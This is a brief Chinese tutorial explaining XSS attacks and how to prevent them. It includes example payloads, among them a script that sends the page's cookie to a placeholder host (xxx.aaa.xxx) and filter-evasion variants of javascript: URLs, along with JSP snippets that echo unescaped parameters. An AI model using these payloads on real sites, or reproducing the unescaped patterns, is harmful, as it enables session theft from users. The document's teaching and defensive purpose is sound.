XSS 攻擊,即跨站腳本攻擊(Cross Site Scripting),它是 web 程式中常見的漏洞。
原理
攻擊者往 web 頁面裡插入惡意的 HTML 代碼(Javascript、css、html 标簽等),當使用者浏覽該頁面時,嵌入其中的 HTML 代碼會被執行,進而達到惡意攻擊使用者的目的。如盜取使用者 cookie 執行一系列操作,破壞頁面結構、重定向到其他網站等。
種類
1、DOM Based XSS:基于網頁 DOM 結構的攻擊
例如:
- input 标簽 value 屬性指派
//jsp
<input type="text" value="<%= getParameter("content") %>">
通路
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script> //彈出 XSS 字樣
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script> //把目前頁面的 cookie 發送到 xxxx.aaa.xxx 網站
- 利用 a 标簽的 href 屬性的指派
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳轉...</a>
通路
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS') //點選 a 标簽就會彈出 XSS 字樣
變換大小寫
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS') //點選 a 标簽就會彈出 XSS 字樣
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS') //點選 a 标簽就會彈出 XSS 字樣
- image 标簽 src 屬性,onload、onerror、onclick 事件中注入惡意代碼
2、Stored XSS:存儲式XSS漏洞
<form action="save.do">
<input name="content" value="">
</form>
輸入
<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
,送出
當别人通路到這個頁面時,就會把頁面的 cookie 送出到 xxx.aaa.xxx,攻擊者就可以擷取到 cookie
預防思路
- web 頁面中可由使用者輸入的地方,如果對輸入的資料轉義、過濾處理
- 背景輸出頁面的時候,也需要對輸出内容進行轉義、過濾處理(因為攻擊者可能通過其他方式把惡意腳本寫入資料庫)
- 前端對 html 标簽屬性、css 屬性指派的地方進行校驗
注意:
各種語言都可以找到 escapeHTML() 方法可以轉義 html 字元。
<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
轉義後
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E
需要考慮項目中的一些要求,比如轉義會加大存儲。可以考慮自定義函數,部分字元轉義。